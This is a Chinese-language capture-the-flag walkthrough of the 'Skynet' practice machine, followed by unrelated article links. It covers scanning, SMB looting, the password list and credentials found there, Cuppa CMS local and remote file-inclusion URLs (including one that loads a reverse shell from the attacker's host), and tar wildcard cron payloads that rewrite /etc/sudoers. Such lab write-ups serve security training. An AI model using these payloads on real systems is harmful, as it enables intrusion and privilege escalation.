【靶机】skynet

简介: 本靶机有一定难度,适合进阶的小伙伴进行练习,初学者也可以参考学习。

skynet

前言

A vulnerable Terminator themed Linux machine.

信息收集

┌──(zacarx㉿zacarx)-[~]
└─$ sudo nmap -T4 -A 10.10.72.0
[sudo] zacarx 的密码:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-21 21:13 CST
Stats: 0:00:03 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Nmap scan report for 10.10.72.0
Host is up (0.33s latency).
Not shown: 994 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)
|   256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)
|_  256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519)
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Skynet
110/tcp open  pop3        Dovecot pop3d
|_pop3-capabilities: TOP SASL RESP-CODES PIPELINING AUTH-RESP-CODE UIDL CAPA
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
|_imap-capabilities: IMAP4rev1 capabilities have IDLE ENABLE LITERAL+ SASL-IR LOGINDISABLEDA0001 OK post-login listed more Pre-login ID LOGIN-REFERRALS
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=11/21%OT=22%CT=1%CU=36259%PV=Y%DS=5%DC=T%G=Y%TM=637B79
OS:D9%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=102%TI=Z%CI=I%II=I%TS=8)OP
OS:S(O1=M505ST11NW7%O2=M505ST11NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST
OS:11NW7%O6=M505ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)EC
OS:N(R=Y%DF=Y%T=40%W=6903%O=M505NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Network Distance: 5 hops
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h00m00s, deviation: 3h27m51s, median: 0s
| smb2-time: 
|   date: 2022-11-21T13:14:52
|_  start_date: N/A
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: SKYNET, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: skynet
|   NetBIOS computer name: SKYNET\x00
|   Domain name: \x00
|   FQDN: skynet
|_  System time: 2022-11-21T07:14:52-06:00

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   208.15 ms 10.17.0.1
2   ... 4
5   333.72 ms 10.10.72.0

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.01 seconds
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.72.0
[+] Threads:        32
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2022/11/21 13:31:57 Starting gobuster
===============================================================
/admin (Status: 301)
/css (Status: 301)
/js (Status: 301)
/config (Status: 301)
/ai (Status: 301)
/squirrelmail (Status: 301)
/server-status (Status: 403)
===============================================================
2022/11/21 13:32:18 Finished
===============================================================
┌──(zacarx㉿zacarx)-[~]
└─$ enum4linux 10.10.72.0 

.............

10.10.72.0/anonymous    Mapping: OK Listing: OK Writing: N/A
//10.10.72.0/milesdyson    Mapping: DENIED Listing: N/A Writing: N/A

............

smb 有个信息可以利用试试

一个attention.txt and log

补充一下:

(4条消息) Linux 网络通讯 : smbclient 命令详解_HarkerYX的博客-CSDN博客

smbclient命令 属于samba套件,它提供一种命令行使用交互式方式访问samba服务器的共享资源。 -w <工作群组> :指定工作群组名称。 smb服务器:指定要连接的smb服务器。 这里有许多命令和ftp命令相似,如 cd 、lcd、get、megt、put、mput等。 通过这些命令,我们可以访问远程主机的共享资源。

我们使用get命令把文件复制本地

┌──(zacarx㉿zacarx)-[~]
└─$ cat attention.txt
A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson

所以,网站系统应该有点bug

我们看到

SquirrelMail version 1.4.23 [SVN]
By the SquirrelMail Project Team

查下有无可以利用的

好像木有

刚没下载上log

log内容:

┌──(zacarx㉿zacarx)-[~]
└─$ cat log*         
cyborg007haloterminator
terminator22596
terminator219
terminator20
terminator1989
terminator1988
terminator168
terminator16
terminator143
terminator13
terminator123!@#
terminator1056
terminator101
terminator10
terminator02
terminator00
roboterminator
pongterminator
manasturcaluterminator
exterminator95
exterminator200
dterminator
djxterminator
dexterminator
determinator
cyborg007haloterminator
avsterminator
alonsoterminator
Walterminator
79terminator6
1996terminator

应该是密码。。。

账号是MilesDyson

or milesdyson

……….

okok

milesdyson

cyborg007haloterminator

我们进去后

We have changed your smb password after system malfunction.
Password: )s{A&2Z=F^n_E.B`

01100010 01100001 01101100 01101100 01110011 00100000 01101000 01100001 01110110
01100101 00100000 01111010 01100101 01110010 01101111 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111 00100000 01101101 01100101 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111 00100000 01101101 01100101 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111

i can i i everything else . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
you i everything else . . . . . . . . . . . . . .
balls have a ball to me to me to me to me to me to me to me
i i can i i i everything else . . . . . . . . . . . . . .
balls have a ball to me to me to me to me to me to me to me
i . . . . . . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
you i i i i i everything else . . . . . . . . . . . . . .
balls have 0 to me to me to me to me to me to me to me to me to
you i i i everything else . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to

先试试)s{A&2Z=F^n_E.B`

┌──(zacarx㉿zacarx)-[~]
└─$ cat im* 

1. Add features to beta CMS /45kra24zxs28v3yd
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife
                                

看到一个私人页面

Miles Dyson Personal Page
Dr. Miles Bennett Dyson was the original inventor of the neural-net processor which would lead to the development of Skynet,
a computer A.I. intended to control electronically linked weapons and defend the United States.

貌似有点问题

我们再看看有无其他目录

root@ip-10-10-173-215:~# gobuster dir -u http://10.10.72.0/45kra24zxs28v3yd/ -w '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt' 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.72.0/45kra24zxs28v3yd/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2022/11/21 14:18:31 Starting gobuster
===============================================================
/administrator (Status: 301)
............

我们看到一个管理员页面

看到了一个cms后台

再看下有无可以利用的

cuppa

Exploit: Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion

  URL: https://www.exploit-db.com/exploits/25971
 Path: /usr/share/exploitdb/exploits/php/webapps/25971.txt

File Type: C++ source, ASCII text, with very long lines (876)

跟着人家做一下payload看看

http://10.10.72.0/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

http://10.10.72.0/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php

http://

../Configuration.php

<?php 
    class Configuration{
        public $host = "localhost";
        public $db = "cuppa";
        public $user = "root";
        public $password = "password123";
        public $table_prefix = "cu_";
        public $administrator_template = "default";
        public $list_limit = 25;
        public $token = "OBqIPqlFWf3X";
        public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
        public $upload_default_path = "media/uploadsFiles";
        public $maximum_file_size = "5242880";
        public $secure_login = 0;
        public $secure_login_value = "";
        public $secure_login_redirect = "";
    } 
?>

好像没法用 干

http://10.10.72.0/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.10.173.215:9090/1.php

1.php是反向shell文件

然后拿到user权限

我们发现了

定时任务可以利用

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user    command
*/1 *    * * *   root    /home/milesdyson/backups/backup.sh
17 *    * * *    root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

这个我之前讲过

是一个比较古老的通配符提权漏洞

具体原理,看我之前视频

echo "/bin/bash" > shell.sh
echo "" > "/var/www/html/--checkpoint-action=exec=sh shell.sh"
echo "" > "/var/www/html--checkpoint=1"
tar cf backup.tar *
tar cf archive.tar * --checkpoint=1 --checkpoint-action=exec=sh /var/www/html/shell.sh

不过有点小毛病,大意了

没有人家 home创建修改的权限

我们就去自己“”家“”

/www/html

payload如下

echo 'echo "www-data ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > privesc.sh
echo "/var/www/html"  > "--checkpoint-action=exec=sh privesc.sh"
echo "/var/www/html"  > --checkpoint=1

ok,就这麽多,xdm早点休息,hhhhhhh

目录
相关文章
|
定位技术
ArcGIS地形起伏度+地形粗糙度+地表切割深度+高程变异系数提取
ArcGIS地形起伏度+地形粗糙度+地表切割深度+高程变异系数提取
21275 0
|
8月前
|
安全 Linux iOS开发
IDA Pro 9.3sp2 发布 - 强大的反汇编程序、反编译器和多功能调试器
IDA Pro 9.3sp2 (macOS, Linux, Windows) - 强大的反汇编程序、反编译器和多功能调试器
1489 1
|
关系型数据库 MySQL 数据库
【Docker】手把手教你搭建好玩的docker项目合集
【Docker】手把手教你搭建好玩的docker项目合集
|
存储 缓存 固态存储
系统分区完全指南:多种方法实现专业磁盘管理
合理磁盘分区可提升搜索效率、增强容错性、优化性能并便于管理。建议分为系统盘与数据盘,Windows推荐GPT格式,支持更大容量与UEFI启动。可通过系统自带工具或DiskGenius进行分区操作,注意备份、4K对齐及电源稳定。
2528 3
|
人工智能 数据可视化 数据库连接
保姆级教程 | 0代码,用n8n一键打通微信、钉钉与数据库,效率提升500%
n8n是一款开源可视化自动化工具,无需编程即可连接微信、钉钉、数据库等400+服务。通过拖拽节点搭建工作流,实现数据同步、消息通知等自动化,效率提升500%。支持免费私有部署,安全可控,零成本开启高效办公新体验。
|
人工智能 安全 数据库
AiCodeAudit-基于Ai大模型的自动代码审计工具
本文介绍了基于OpenAI大模型的自动化代码安全审计工具AiCodeAudit,通过图结构构建项目依赖关系,提高代码审计准确性。文章涵盖概要、整体架构流程、技术名词解释及效果演示,详细说明了工具的工作原理和使用方法。未来,AI大模型有望成为代码审计的重要工具,助力软件安全。项目地址:[GitHub](https://github.com/xy200303/AiCodeAudit)。
6587 9
|
虚拟化 Windows
Windows 10 version 22H2 中文版、英文版下载 (2025 年 6 月更新)
Windows 10 version 22H2 中文版、英文版下载 (2025 年 6 月更新)
8596 0
|
供应链 安全 算法
签名不等于可信:详解PE数字签名校验的漏洞与主动规避方案
本文探讨了CVE-2013-3900漏洞的原理及其影响,该漏洞允许攻击者在不破坏数字签名有效性的情况下,向PE文件中添加恶意代码。漏洞源于Windows对签名数据后附加数据的校验缺失,导致恶意软件可伪装成合法软件。文章分析了WinVerifyTrust函数的工作机制及修复方法,包括通过注册表启用严格签名校验(EnableCertPaddingCheck)。同时,提出了通过hook注册表函数主动规避漏洞的方法,确保安全软件在未启用严格校验时仍能检测潜在威胁。此研究对提升PE文件签名安全性具有重要意义。
|
机器学习/深度学习 人工智能 算法
深入分析自动化测试中AI驱动的测试用例生成
【5月更文挑战第4天】随着人工智能(AI)技术的飞速发展,其在软件测试领域的应用也日益广泛。特别是在自动化测试过程中,AI技术能够显著提高测试用例的生成效率和质量。本文将探讨AI在自动化测试用例生成中的应用原理、优势以及面临的挑战,并展示通过AI技术优化测试流程的实际案例。
1394 8
|
数据可视化 定位技术 API
一些可用于研究的GIS数据资源
一些可用于研究的GIS数据资源
931 1